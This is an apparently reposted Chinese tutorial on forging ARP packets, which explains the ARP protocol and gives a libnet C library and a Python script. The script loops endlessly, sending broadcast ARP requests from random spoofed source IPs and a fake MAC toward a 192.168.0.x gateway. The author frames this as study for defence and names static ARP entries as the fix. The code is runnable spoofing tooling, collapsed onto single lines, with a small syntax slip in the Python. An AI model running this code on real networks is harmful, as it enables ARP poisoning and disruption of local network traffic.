ARP 伪造模拟

来源:互联网 发布:倒卖车辆数据 编辑:程序博客网 时间:2024/06/05 23:47

ARP数据包伪造

 

  一台网络中的计算机,其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的,软件可以操控硬件,硬件亦是一种特殊的软件,所以,接收者只根据数据包的内容,绝不可能判定此数据包的真正来源,一切都是可以伪造的。 

  网络系统功与防的矛盾斗争,可以使得我们更加快速的发现并修补系统漏洞,而且这种矛盾关系必然存在。

  人外有人,天外有天。

  攻的最高境界便是不战,是和平。

  静态arp表项轻松破解ARP伪造报文的攻击。我们研究伪造报文的目的在于深刻理解系统以更好地防御,而非攻击。

 


 

 

  ARP : Address Resolution Protocol,地址解析协议,其基本功能为通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,不过在IPv6中已不再适用,并被邻居发现协议(NDP)所替代。

——维基百科

  基础资料推荐:《TCP-IP详解 卷1:协议》《ARP协议简介》 

  需要注意,书中阐述的大多数arp缓存更新规则对现代操作系统已经不再适用,试想,一次ARP广播就可以更新当前局域网中所有主机的arp缓存条目,这是多么大的系统漏洞?一轮ARP伪造报文的攻击,便能使这个局域网主机之间的通讯陷入瘫痪。所以,现代操作系统采取了更加保守的arp缓存更新规则,上图已在Win7-64位操作系统与Linux 2.6.32内核上获得验证。

  一台网络中的计算机,其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的,软件可以操控硬件,硬件也是一种特殊的软件,所以,接收者只根据数据包的内容,绝不可能判定此数据包的真正来源,一切都是可以伪造的。

  操作系统与硬件具有构造数据包的能力,当操作系统把这种能力以系统调用的方式提供给编程者时,则,编程者亦拥有了构造任意数据包的能力。

  而Libnet又对这些系统调用进行了又一次的逻辑封装,将这些能力以更加容易使用的方式展露出来,以加应用程序的开发速度。

  实验环境为GNU/Linux,以太网,主机应已安装libnet。

ForgeArp.c

//// # gcc ForgeArp.c -lnet -shared -fPIC -o ForgeArp.so#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <libnet.h>#define MAC_ADDR_LEN 6#define IP_ADDR_LEN 4int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,                         char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes                        ){        libnet_t *net_t = NULL;         unsigned long src_ip,dst_ip = 0;                char err_buf[LIBNET_ERRBUF_SIZE];        libnet_ptag_t p_tag;         unsigned int i=0;        src_ip = libnet_name2addr4(net_t,src_ip_str,LIBNET_RESOLVE);        if (src_ip==-1)            {            printf("error: libnet_name2addr4 src_ip \n");            return 1;            }        dst_ip = libnet_name2addr4(net_t,dst_ip_str,LIBNET_RESOLVE);        if (dst_ip==-1)            {            printf("error: libnet_name2addr4 dst_ip \n");            return 1;            }        printf("the src_ip_str is %s,uint32 src_ip is %d\n",src_ip_str,src_ip);        printf("the dst_ip_str is %s,uint32 dst_ip is %d\n",dst_ip_str,dst_ip);                net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);             if(net_t == NULL)        {                printf("libnet_init error\n");                return 2;        }        p_tag = libnet_build_arp(                        ARPHRD_ETHER,//hardware type ethernet                        ETHERTYPE_IP,//protocol type                        MAC_ADDR_LEN,//mac length                        IP_ADDR_LEN,//protocol length                        arpOp,//op type                        (u_int8_t *)src_mac,//source mac addr                        (u_int8_t *)&src_ip,//source ip addr                        (u_int8_t *)dst_mac,//dest mac addr                        (u_int8_t *)&dst_ip,//dest ip  addr                        NULL,//payload                        0,//payload length                        net_t,//libnet context                        0//0 stands to build a new one        );                if(-1 == p_tag)        {                printf("libnet_build_arp error\n");                libnet_destroy(net_t);                return 3;        }        p_tag = libnet_build_ethernet(//create ethernet header                        (u_int8_t *)dst_mac,//dest mac addr                        (u_int8_t *)src_mac,//source mac addr                        ETHERTYPE_ARP,//protocol type                        NULL,//payload                        0,//payload length                        net_t,//libnet context                        0//0 to build a new one        );        if(-1 == p_tag)        {                printf("libnet_build_ethernet error!\n");                libnet_destroy(net_t);                return 4;        }                int res;        i=0;        for(;i<sendTimes;i++)          if(-1 == (res = libnet_write(net_t)))          {                printf("libnet_write error!\n");                libnet_destroy(net_t);                return 5;          }                libnet_destroy(net_t);        return 0;FAIL:                libnet_destroy(net_t);                return 6;}


我们已经将ForgeArp功能编译成了shared object,接下来Python入场。
forgeArpTest.py
"""int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,            char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes           )"""import timeimport randomfrom ctypes import *arpLib=CDLL('./ForgeArp.so')def MacTran(macStr):    MacType= c_ubyte * 6    macStr=macStr.translate(None,":")    return MacType(int(macStr[0:2],16),int(macStr[2:4],16),int(macStr[4:6],16),\                   int(macStr[6:8],16)int(macStr[8:10],16),int(macStr[10:12],16))while True:    lis=["192.168.0."]    lis.append(str(int(random.random()*1000/4)))    if lis[1]=='36':        continue    arpLib.ForgeAndSendArp("eth0",MacTran("66:66:66:66:66:66"),MacTran("FF:FF:FF:FF:FF:FF") \                        ,''.join(lis),"192.168.0.1",c_ushort(1),c_uint(2))    time.sleep(1)print ":)"


 关于ForgeAndSendArp函数中arpOp参数的选项如下:
// 源码头文件libnet-1.2-rc3\include\libnet\libnet-headers.h 
复制代码
1 // 仅摘部分内容2   uint16_t ar_op;          /* operation type */3 #define ARPOP_REQUEST    1  /* req to resolve address */4 #define ARPOP_REPLY      2  /* resp to previous request */5 #define ARPOP_REVREQUEST 3  /* req protocol address given hardware */6 #define ARPOP_REVREPLY   4  /* resp giving protocol address */7 #define ARPOP_INVREQUEST 8  /* req to identify peer */8 #define ARPOP_INVREPLY   9  /* resp identifying peer */
复制代码

   代码测试无误。

 

  静态arp表项轻松破解ARP伪造报文的攻击。我们伪造报文的目的在于深刻理解系统以更好地防御,而非攻击。

   如有问题或者优化建议,欢迎讨论!

 

 

原创粉丝点击